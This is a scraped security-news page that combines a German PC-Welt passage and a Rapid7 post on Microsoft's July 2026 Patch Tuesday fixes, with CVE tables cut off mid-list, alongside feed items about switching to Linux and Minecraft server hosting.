<p>Ein großer Anteil der Schwachstellen, diesmal über 400, verteilt sich über die verschiedenen Windows-Versionen (10, 11, Server), für die Microsoft noch Sicherheits-Updates anbietet. Windows 10 wird weiterhin ganz normal als betroffenes System genannt, obwohl die Unterstützung im Oktober 2025 offiziell ausgelaufen ist – das lief bei Windows 7 trotz ESU-Programm (Erweiterte Sicherheits-Updates) noch anders. Microsoft hat das ESU-Programm für Windows 10 auf privat genutzten Rechnern <a href="https://www.pcwelt.de/article/3177497/windows-10-bekommt-ein-weiteres-jahr-lang-updates-sensation.html" target="_blank" rel="noreferrer noopener">bis 12. Oktober 2027 verlängert</a>.</p>



<h3 class="wp-block-heading toc">Attacken auf Active Directory</h3>



<p>Die einzige Windows-Lücke in diesem Monat, die bereits für Angriffe ausgenutzt wird, ist die EoP-Schwachstelle CVE-2026-56155 in den Active Directory-Verbunddiensten (AD FS). Die ist als hohes Risiko eingestuft und Microsoft weist den CVSS-Score 7.8 aus. Die Zugriffskontrollen sind nicht feinmaschig genug und so kann ein Angreifer Administratorrechte erlangen. Anfällig sind Windows Server 2012 bis 2025 sowie ältere Windows-10-Versionen (1607, 1809).</p>



<h3 class="wp-block-heading toc">Kritische Windows-Lücken</h3>



<p>Unter den 413 Schwachstellen in Windows, die Microsoft in diesem Monat beseitigt, sind 24 als kritisch eingestufte RCE-Lücken und sieben kritische EoP-Lücken. Mit einem CVSS-Score von 9.9 (10 ist der Höchstwert) ragt die UAF-Lücke (use after free) CVE-2026-57092 in VMSwitch (Hyper-V) aus der Masse heraus. Ein erfolgreicher Angreifer mit niedrigen Rechten kann aus dem Gastsystem heraus höhere Berechtigungen auf dem Hostsystem erlangen.</p>



<p><a href="https://www.pcwelt.de/article/1197811/die-neuesten-sicherheits-updates.html" target="_blank" rel="noreferrer noopener">▶Die neuesten Sicherheits-Updates</a></p>



<p>Im Remote Desktop Protocol (RDP) wartet die RCE-Lücke CVE-2026-56190 auf entschlossene Angreifer. Diese können mittels speziell gestalteter RDP-Pakete mit Speicher interagieren, der nicht ordentlich initialisiert wurde. Sie erhalten damit die Möglichkeit, Speicher so zu manipulieren, dass eingeschleuster Code ausgeführt wird.</p>



<p>Wie die vorgenannte RDP-Schwachstelle kommt auch die RCE-Lücke CVE-2026-50518 im DHCP-Server auf den CVSS-Score 9.8. Sie ist eine von neun DHCP-Schwachstellen, die Microsoft in diesem Monat beseitigt. Im Windows Server-Netzwerktreiber steckt die RCE-Lücke CVE-2026-56188 mit dem CVSS-Score 9.8. Hier kann ein Angreifer mit speziell präparierten Datenpaketen ansetzen, um auf anfälligen Systemen eingeschleusten Code auszuführen. Und anfällig sind alle noch unterstützten Windows-Ausgaben, von Windows 10 bis Server 2025.</p>



<h2 class="wp-block-heading toc">Etliche Office-Lücken gestopft</h2>



<p>In seinen Office-Produkten hat Microsoft 97 Schwachstellen beseitigt, fast doppelt so viele wie im Juni. Darunter sind 17 als kritisch eingestufte RCE-Lücken (remote code execution). Bei diesen ist meist bereits das Vorschaufenster ein Angriffsvektor – ein Benutzer muss eine präparierte Datei nicht erst mit Office öffnen, um eine erfolgreiche Attacke zu ermöglichen. Die übrigen 48 RCE-Lücken können ausgenutzt werden, wenn ein Benutzer eine präparierte Office-Datei in einem anfälligen Office-Produkt öffnet (open-and-own).</p>



<p><a href="https://www.pcwelt.de/article/3188875/microsoft-bestaetigt-probleme-mit-secure-boot-update-auf-bestimmten-pcs-und-stoppt-rollout.html" target="_blank" rel="noreferrer noopener">▶Microsoft stoppt Rollout des Secure-Boot-Updates</a></p>



<p>Auch Lücken mit mittlerem Risiko verdienen Beachtung: Die lediglich als mittleres Risiko eingestufte EoP-Schwachstelle CVE-2026-56164 (elevation of privilege) in Sharepoint Server wird bereits für Angriffe ausgenutzt. Ein Angreifer kann übers Netzwerk ohne Benutzeranmeldung Zugriff erlangen. Wer die SFB-Lücke (security feature bypass) CVE-2026-55040 in Sharepoint Server (CVSS 9.1) ausnutzt, kann ohne Benutzeranmeldung auf Dateien zugreifen (kopieren und manipulieren). Die Sharepoint-Schwachstellen CVE-2026-50522/-58644 sind als kritisch ausgewiesene RCE-Lücken (CVSS 9.8). Für CVE-2026-50522 existiert ein funktionsfähiger Demo-Exploit, der beim Hacker-Wettbewerb Pwn2own erfolgreich vorgeführt, aber nicht im Detail veröffentlicht wurde.</p>



<p><strong>Tipp:</strong> Unabhängig davon, dass Sie das Betriebssystem stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „<a href="https://www.pcwelt.de/article/2255713/test-bestes-antivirus-programm-windows.html">Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC</a>“ vor. Falls Sie großen Wert auf anonymes Surfen legen, <a href="https://www.pcwelt.de/article/1193534/die-besten-vpn-dienste-im-vergleich.html" target="_blank" rel="noreferrer noopener">sind wiederum gute VPN-Programme einen Blick wert.</a></p>



<h2 class="wp-block-heading toc">Spoofing im Exchange Server</h2>



<p>In Exchange Server hat Microsoft in diesem Monat vier Schwachstellen behoben, eine fünfte in Exchange Online. Als kritisch ist nur die Spoofing-Lücke CVE-2026-55008 (CVSS 9.6) ausgewiesen, der eine XSS-Schwachstelle (cross-site scripting) zugrunde liegt. Wenn eine speziell präparierte Mail in Outlook Web Access (OWA) geöffnet wird, kann ohne weitere Voraussetzungen beliebiger Javascript-Code im Browser ausgeführt werden.</p>



<h2 class="wp-block-heading toc">Endlich einmal etwas speziell für Gamer</h2>



<p>In dedizierten Server von Minecraft Bedrock hat Microsoft die RCE-Lücke CVE-2026-55010 (CVSS 9.8) bereits gestopft. Als Betreiber eines Minecraft-Servers müssen Sie nichts weiter unternehmen, sagt Microsoft. Bei <em>Age of Empires II: Definitive Edition</em> müssen Sie hingegen aktiv werden. Ein Angreifer kann die RCE-Lücke CVE-2026-50663 (CVSS-Score 8.8) ausnutzen, indem er eine speziell präparierte Spielszenario-Datei erstellt und andere dazu bringt, diese zu öffnen. Dadurch kann eine Datei mit schädlichem Code an unerwarteter Stelle abgelegt und womöglich ausgeführt werden.</p>



<p>Im Juli gibt es wieder ein neues <a href="https://www.pcwelt.de/article/1168933/microsoft-windows-tool-zum-entfernen-bosartiger-software-in-neuer-version.html" target="_blank" rel="noreferrer noopener">Windows-Tool zum Entfernen bösartiger Software</a>. Der nächste turnusmäßige Update-Dienstag ist am 11. August 2026.</p>

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<title><![CDATA[Switching help]]></title>
<description><![CDATA[I'm looking at ditching Windows 10 and moving to Linux. I'm honestly just over Windows at this point. Even something as simple as wanting more than 5 rotating wallpapers is limited, and I can't move to Windows 11 because my main rig has dual CPUs. I'm after some opinions from people who daily dri...]]></description>
<link>https://tsecurity.de/de/3669396/linux-tipps/switching-help/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669396/linux-tipps/switching-help/</guid>
<pubDate>Wed, 15 Jul 2026 04:08:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I'm looking at ditching Windows 10 and moving to Linux. I'm honestly just over Windows at this point. Even something as simple as wanting more than 5 rotating wallpapers is limited, and I can't move to Windows 11 because my main rig has dual CPUs.</p> <p>I'm after some opinions from people who daily drive Linux.</p> <p>At the moment I'm leaning towards openSUSE Tumbleweed. I'm generally not a fan of forks of other distros (Manjaro, CachyOS, etc.). My servers all run Debian, so I'm very familiar with Debian-based systems, but those are all headless so desktop experience isn't really a factor.</p> <p>I don't think Debian is the right choice for my desktop. I like it for servers because it's rock solid, but for gaming and newer hardware I feel it's a bit too conservative. That's one of the reasons I'm leaning towards Tumbleweed — it seems like a good middle ground with up-to-date packages while still having a reputation as a safer bleeding-edge rolling release.</p> <p>I had a pretty bad experience with Fedora. My GTX 1070 had horrible mouse lag with the proprietary drivers, and my 3Dconnexion SpaceMouse wasn't supported properly, so that put me off Fedora.</p> <p>From what I've researched, it seems like my best options are either Arch or openSUSE Tumbleweed, but I'm not 100% sure where to go.</p> <p>Gaming isn't a huge concern. The games I play are supported through Proton, and I don't have TPM (hardware swap reasons), so kernel-level anti-cheat isn't really an issue. I haven't been gaming much recently anyway — I've gotten into Wolfenstein: The New Order and I'm having fun with that on my second playthrough.</p> <p>Specs</p> <p>- Dual Xeon E5-2689 v1</p> <p>- 128GB DDR3 ECC RAM</p> <p>- GTX 1070</p> <p>- Radeon HD 6540</p> <p>- 5×500GB HDD</p> <p>- 1×250GB HDD</p> <p>- 1×6TB HDD</p> <p>Apps I know will be fine or have alternatives</p> <p>- OrcaSlicer</p> <p>- FreeCAD</p> <p>- 3Dconnexion SpaceMouse drivers</p> <p>- Spotify</p> <p>- qBittorrent</p> <p>- KDiskMark / smartctl instead of CrystalDiskInfo</p> <p>- lm-sensors / alternatives instead of Core Temp</p> <p>- Remmina instead of MobaXterm</p> <p>- Kdenlive</p> <p>- Audacity</p> <p>- Steam</p> <p>- Minecraft</p> <p>- Hardware monitoring tools</p> <p>- Discord</p> <p>Apps I'm unsure about</p> <p>- Logitech Options+</p> <p>- SuperDisplay / Android tablet as a wireless display</p> <p>- FrostWire</p> <p>- UniFi Network Server</p> <p>- WinDirStat equivalent</p> <p>- OBS Studio</p> <p>- Camo</p> <p>- Rockstar Games Launcher</p> <p>- Epic Games Launcher</p> <p>- DS4Windows / PS5 DualSense controller support</p> <p>- FancyZones alternative (KWin tiling, Hyprland, etc.)</p> <p>- Audio drivers/software</p> <p>I'm fairly comfortable in the terminal, so that isn't an issue. I don't mind learning, but I also don't want to spend every weekend fixing my OS.</p> <p>I'm open to suggestions. If you've used openSUSE Tumbleweed, Arch, or another distro that you think would suit my use case better, I'd like to hear your thoughts. Also interested in any issues I might run into with the apps listed above or anything else I should know before making the switch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Equal_General1672"> /u/Equal_General1672 </a> <br> <span><a href="https://i.redd.it/9hmdtnl8jadh1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwqszu/switching_help/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Top Minecraft Server Hosting Services for 2026]]></title>
<description><![CDATA[Minecraft is a much-loved game that has more than 140 million players all over the world. While there are several ways to play the game with your friends, finding the best Minecraft server hosting is one of the most effective ways to set up your own dedicated space. This is a network of connected...]]></description>
<link>https://tsecurity.de/de/3669379/betriebssysteme/top-minecraft-server-hosting-services-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669379/betriebssysteme/top-minecraft-server-hosting-services-for-2026/</guid>
<pubDate>Wed, 15 Jul 2026 03:54:07 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Minecraft is a much-loved game that has more than 140 million players all over the world. While there are several ways to play the game with your friends, finding the best Minecraft server hosting is one of the most effective ways to set up your own dedicated space. This is a network of connected servers […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/hosting/best-minecraft-server-hosting/">Top Minecraft Server Hosting Services for 2026</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[Patch Tuesday - July 2026]]></title>
<description><![CDATA[Microsoft is publishing 622 vulnerabilities on July 2026 Patch Tuesday, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for on...]]></description>
<link>https://tsecurity.de/de/3669204/it-security-nachrichten/patch-tuesday-july-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669204/it-security-nachrichten/patch-tuesday-july-2026/</guid>
<pubDate>Wed, 15 Jul 2026 00:23:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>Microsoft is publishing 622 vulnerabilities on </span><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul"><span>July 2026 Patch Tuesday</span></a><span>, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for one other. As usual, browser vulns are not included in the Patch Tuesday count above. Rapid7 </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-june-2026/"><span>noted</span></a><span> last month that Microsoft no longer enumerates Chromium CVEs in the Security Update Guide. However, Microsoft has now taken the pursuit of minimalism much further, since today’s Security Update Guide no longer lists out even Microsoft vulnerabilities! Instead, we now receive a summary table of vulnerability counts by product family, as well as a new slimline “Notable CVEs” section. All of this only serves to illustrate the recent industry-wide trend of exploding vulnerability report counts, with an associated uptick in the publication of remediations as a trailing indicator.</span></p><h3><span>SharePoint: critical auth bypass by Rapid7</span></h3><p><span>Today sees the publication of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a><span>, a critical authentication bypass in Microsoft SharePoint. </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/"><span>Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer</span></a><span>, and published today in coordination with Microsoft, this vulnerability is the first in a pair of exploits which, when chained together, can lead to unauthenticated remote code execution against a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. As the full </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/"><span>Rapid7 blog post</span></a><span> sets out, the second vulnerability in the full RCE chain remains embargoed for now, with Microsoft expected to publish patches for that second vulnerability as part of Patch Tuesday August 2026. Microsoft noted: “We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”</span></p><h3><span>SharePoint: zero-day EoP</span></h3><p><span>It’s a rare Patch Tuesday which doesn’t include multiple SharePoint fixes, and today is no exception. Microsoft is aware of existing in-the-wild exploitation of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a><span>, where successful exploitation allows an attacker to elevate privileges over a network, with no existing privileges required, and low attack complexity since “an attacker does not require significant prior knowledge of the system, and can achieve repeatable success”. This is as good an example as any that a relatively low CVSS v3 base score (5.3) may be an imperfect signal concealing something much spicier, and Microsoft acknowledges that possibility by assigning a severity rating of Important. Microsoft certainly intended to list CVE-2026-56164 in the new Notable CVEs section of the Security Update Guide instead of erroneously listing CVE-2026-56155 twice, and it’s likely that this will be corrected shortly.</span></p><h3><span>What’s the opposite of coordinated disclosure?</span></h3><p><span>After years of relative stability, the Patch Tuesday process has experienced significant turbulence so far in 2026. As well as the AI-fuelled exponential growth of vulnerability reporting and discovery, Microsoft is grappling with the emergence of a series of vulnerabilities disclosed in such a way as to </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-june-2026/#what-s-the-opposite-of-coordinated-disclosure"><span>bring maximum discomfort for Redmond</span></a><span>. Pseudonymous researcher Nightmare Eclipse dropped another Defender elevation of privilege vulnerability in the hours following Patch Tuesday June 2026, which Microsoft subsequently published and patched as </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50656"><span>CVE-2026-50656</span></a><span>, along with a terse acknowledgement of the vulnerability’s celebrity nickname of RoguePlanet. Recently, Nightmare Eclipse has given conflicting estimates of what sort of surprises Microsoft can expect today, as well as claiming that the CVE-2026-50656 patches introduce a new avenue for a disk exhaustion attack. Today,  a new proof of concept for a further vulnerability nicknamed LegacyHive has emerged from the same source, which appears to allow a non-privileged user to mount another user’s user hive.</span></p><p><span>Microsoft BitLocker receives patches today for a publicly-known security feature bypass vulnerability. The advisory for </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a><span> explains that an unauthorized attacker with physical access to the target machine can bypass Windows BitLocker. While Microsoft doesn’t confirm either way, it’s very probable that this is a patch for the GreatXML vulnerability which Nightmare Eclipse announced the day after Patch Tuesday June 2026.</span></p><h3><span>Active Directory Federation Services: zero-day EoP</span></h3><p><span>Active Directory administrators should note the emergence today of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a><span>, an exploited-in-the-wild elevation of privilege vulnerability in Active Directory Federation Services which allows an authorized attacker to elevate privileges locally. Eight other vulnerabilities are also published today in Active Directory Federation Services, all ranked as Important on Microsoft’s proprietary severity ranking scale. The advisory doesn’t explicitly describe the location of the attacker, but it’s likely that an attacker would need an existing toehold on the target system to chain together with the elevation of privilege opportunity on offer here.</span></p><h3><span>Age of Empires II: RCE</span></h3><p><span>Historically, Patch Tuesday hasn’t seen too many security patches for video games. However, Age of Empires II: Definitive Edition is a new entrant to the Microsoft CVE roster today. Veteran AoE2 players may well be familiar with dangerous opposition early game strategies such as the Persian Town Center nuisance or the Aztec monk rush, but anyone who opens a malicious game scenario file without applying the patch for </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a><span> might suffer a serious defeat. Successful exploitation allows an attacker to place malicious files in unexpected locations, potentially enabling code execution on the target system.</span></p><h3><span>Microsoft lifecycle update</span></h3><p><span>As Rapid7 noted last month, there are some significant Microsoft product lifecycle changes taking place in mid-July. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016?branch=live"><span>SQL Server 2016</span></a><span> moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase from July 15, 2026, and its older sibling </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2014"><span>SQL Server 2014</span></a><span> moves into the third and final year of ESU. Also on July 14, 2026, SharePoint Server </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016?branch=live"><span>2016</span></a><span> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019?branch=live"><span>2019</span></a><span> reach extended end date, and since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after today is SharePoint Subscription Edition. The July 2026 lifecycle casualties continue with Project Server </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016"><span>2016</span></a><span> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2019"><span>2019</span></a><span>, Dynamics GP 2016 and 2016 R2, InfoPath 2013, and SharePoint Designer 2013, which also all reach their Extended End Dates, ending their supported lifecycles. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/visual-studio-2022"><span>Visual Studio 2022</span></a><span> Version 17.12 Long-Term Servicing Channel (LTSC) reaches its release end date on July 14, leaving either the Visual Studio 2022 current channel or an upgrade to </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/visual-studio-2026"><span>Visual Studio 2026</span></a><span> as supported options.</span></p><h2>Summary charts</h2><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt713c90fe7ac2ee36/6a56abaed651c58a33f6a35f/2026-07-vuln_count_impact.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_impact.png" asset-alt="2026-07-vuln_count_impact.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt713c90fe7ac2ee36/6a56abaed651c58a33f6a35f/2026-07-vuln_count_impact.png" data-sys-asset-uid="blt713c90fe7ac2ee36" data-sys-asset-filename="2026-07-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_impact.png" sys-style-type="display"></figure><p></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d9561caa572afc2/6a56abaeade6f578106e6309/2026-07-vuln_count_component.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_component.png" asset-alt="2026-07-vuln_count_component.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d9561caa572afc2/6a56abaeade6f578106e6309/2026-07-vuln_count_component.png" data-sys-asset-uid="blt7d9561caa572afc2" data-sys-asset-filename="2026-07-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_component.png" sys-style-type="display"></figure><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt97027ef7516a12a3/6a56ad5a32a61e5978145861/2026-07-vuln_count_impact-component-heatmap.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_impact-component-heatmap.png" asset-alt="2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt97027ef7516a12a3/6a56ad5a32a61e5978145861/2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="blt97027ef7516a12a3" data-sys-asset-filename="2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_impact-component-heatmap.png" sys-style-type="display"></figure><p></p><h2>Summary tables</h2><p></p><h3>Apps vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58617">CVE-2026-58617</a></td><td><p>M365 Copilot for iOS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58595">CVE-2026-58595</a></td><td><p>Microsoft Bing App for IOS Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48561">CVE-2026-48561</a></td><td><p>Microsoft Copilot Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58636">CVE-2026-58636</a></td><td><p>Microsoft PC Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50438">CVE-2026-50438</a></td><td><p>Microsoft PC Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Azure vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50652">CVE-2026-50652</a></td><td><p>Azure Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50653">CVE-2026-50653</a></td><td><p>Azure Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57969">CVE-2026-57969</a></td><td><p>Azure CycleCloud Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58279">CVE-2026-58279</a></td><td><p>Azure CycleCloud Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47632">CVE-2026-47632</a></td><td><p>Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50338">CVE-2026-50338</a></td><td><p>Azure Spring Apps Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr></tbody></table><h3>Developer Tools vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47302">CVE-2026-47302</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50525">CVE-2026-50525</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50651">CVE-2026-50651</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57108">CVE-2026-57108</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50524">CVE-2026-50524</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50527">CVE-2026-50527</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50648">CVE-2026-50648</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50650">CVE-2026-50650</a></td><td><p>.NET Framework Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50646">CVE-2026-50646</a></td><td><p>.NET Framework Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50649">CVE-2026-50649</a></td><td><p>.NET Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47304">CVE-2026-47304</a></td><td><p>.NET Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50528">CVE-2026-50528</a></td><td><p>.NET Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50659">CVE-2026-50659</a></td><td><p>.NET Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50526">CVE-2026-50526</a></td><td><p>.NET Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56170">CVE-2026-56170</a></td><td><p>ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47300">CVE-2026-47300</a></td><td><p>ASP.NET Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47303">CVE-2026-47303</a></td><td><p>ASP.NET Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47282">CVE-2026-47282</a></td><td><p>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41109">CVE-2026-41109</a></td><td><p>GitHub Copilot and Visual 